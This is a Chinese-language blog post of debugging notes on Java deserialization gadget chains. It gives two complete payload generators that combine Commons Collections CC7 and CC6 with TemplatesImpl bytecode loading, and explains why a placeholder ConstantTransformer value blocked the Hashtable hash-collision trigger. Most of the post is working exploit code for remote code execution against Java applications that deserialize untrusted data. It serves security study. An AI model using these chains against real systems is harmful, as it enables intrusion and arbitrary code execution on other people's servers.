CC7 hashtable反序列化原理调试
本来只是对CC各链进行了简单性的写代码复习,就是大致的记忆了CC1-7的各个链触发方式和利用点,但对具体触发的流程并不甚熟悉。昨天闲的没事把templatesImpl和CC7的hashtable缝合了一下,发现payload在触发上存在着一定的问题,然后百思不得其解,然后究极debug还是发现不了问题所在,问了下rmb神仙他和我说是时候究极跟进实现了。于是今天来debug一下
缝合代码
这份是缝合了之后看起来天衣无缝但是跑不起来的代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CCTemplateImpl {
public static Object getPayload(final String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClazz = pool.get(TemplateImplPayloadClass.class.getName());
byte[] classBytes = ctClazz.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templatesImpl = TemplatesImpl.class.newInstance();
Field bf = TemplatesImpl.class.getDeclaredField("_bytecodes");
bf.setAccessible(true);
bf.set(templatesImpl, targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
Field nf = TemplatesImpl.class.getDeclaredField("_name");
nf.setAccessible(true);
nf.set(templatesImpl, "name");
Field cf = TemplatesImpl.class.getDeclaredField("_class");
cf.setAccessible(true);
cf.set(templatesImpl, null);
Field tf = TemplatesImpl.class.getDeclaredField("_tfactory");
tf.setAccessible(true);
tf.set(templatesImpl, new TransformerFactoryImpl());
final Transformer[] rubbish = new Transformer[]{new ConstantTransformer(1)};
//等会反射改,不然又打自己
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Transformer transformerChain = new ChainedTransformer(rubbish);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field f = transformerChain.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
}
经过一系列的debug,最后发现在hashtable.put(lazyMap2, 2);
处,似乎没有把数据put进去。对比CC7的payload调试情况,这步进行完成后hashtable的size仍然是1。简单的说就是put没put进去。
然后问了下甫舟,甫舟把他的缝合版发给了我,简单对比一下没有实质上的区别,但他的跑得起来,我的跑不起来。
但是当我把我的final Transformer[] rubbish = new Transformer[]{new ConstantTransformer(1)};
这句中的ConstantTransformer换成他的null之后就跑起来了。有点无法理解。。。
调试
怎么说呢,今天一调试就调试出结果了。。。昨天调了几下却没看懂逻辑。。。可能是因为idea调试这里有点抽象吧
在这里下一个断点
并在第二个put语句中step into。会非常奇怪的没有进入put函数而是进入了AbstractMapDecorator
我直接疑惑,当时就不知道什么情况了,如果继续step into就会进其他的函数,step forward直接回到主函数。根本不知道发生了什么,然后今天我看了一眼左边的调用栈,才发现怎么还有一层他没给我进去呢
然后点调用栈进Hashtable的put函数,逻辑就很清楚了
在put的时候会对hash值进行检验,如果hash相同则进入equal进行比对。这里的equal会调用map.equal,也就是lazyMap的equal,然后lazymap.get到lazymap的transform触发payload
而这里我塞了一个ConstantTransformer返回1,因此最后在put时会认为哈希碰撞且值相同,不放入该entry。。。所以put无效,修补方案也很简单,只要让rubbish中transform的返回值和一开始lazyMap中put的值不一样就行了。当然,建议该ConstantTransformer,因为两个lazymap的值仍然需要一致,否则算出来的hashCode不一致,同样不会触发payload
put时的操作也就是readObject时触发的操作,readObject时调用reconstitutionPut(那个词是重建的意思),和put做的操作类似,会进行哈希比对,若哈希相同则用equal比对值,然后走上和put一致的道路
所以构造payload的时候要先塞rubbish再反射改掉,不然会打自己一下
早知道就缝合CC6了,没这么多屁事,昨天缝合CC7然后出这么个问题人都懵了
结论
把ConstantTransformer的返回值改一下就行
缝一下CC6
这个没那么多屁事还方便一点,直接两边复制粘贴搞定
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
public class CC6TemplateImpl {
public static Object getPayload(final String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClazz = pool.get(TemplateImplPayloadClass.class.getName());
byte[] classBytes = ctClazz.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templatesImpl = TemplatesImpl.class.newInstance();
Field bf = TemplatesImpl.class.getDeclaredField("_bytecodes");
bf.setAccessible(true);
bf.set(templatesImpl, targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
Field nf = TemplatesImpl.class.getDeclaredField("_name");
nf.setAccessible(true);
nf.set(templatesImpl, "name");
Field cf = TemplatesImpl.class.getDeclaredField("_class");
cf.setAccessible(true);
cf.set(templatesImpl, null);
Field tf = TemplatesImpl.class.getDeclaredField("_tfactory");
tf.setAccessible(true);
tf.set(templatesImpl, new TransformerFactoryImpl());
// 这里填的值不能和lazymap.put处的值一致
final Transformer[] rubbish = new Transformer[]{new ConstantTransformer(0)};
//等会反射改,不然又打自己
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})};
final Transformer transformerChain = new ChainedTransformer(rubbish);
HashMap innerMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);
HashMap map = new HashMap();
map.put(tiedMapEntry, 1);
innerMap.clear();
Field f = transformerChain.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
return map;
}
}
急速水文章ing(昨天我是真的头都调麻了没想出来怎么回事,今天发现原来他没给我进Hashtable的put函数之后瞬间想通。。。)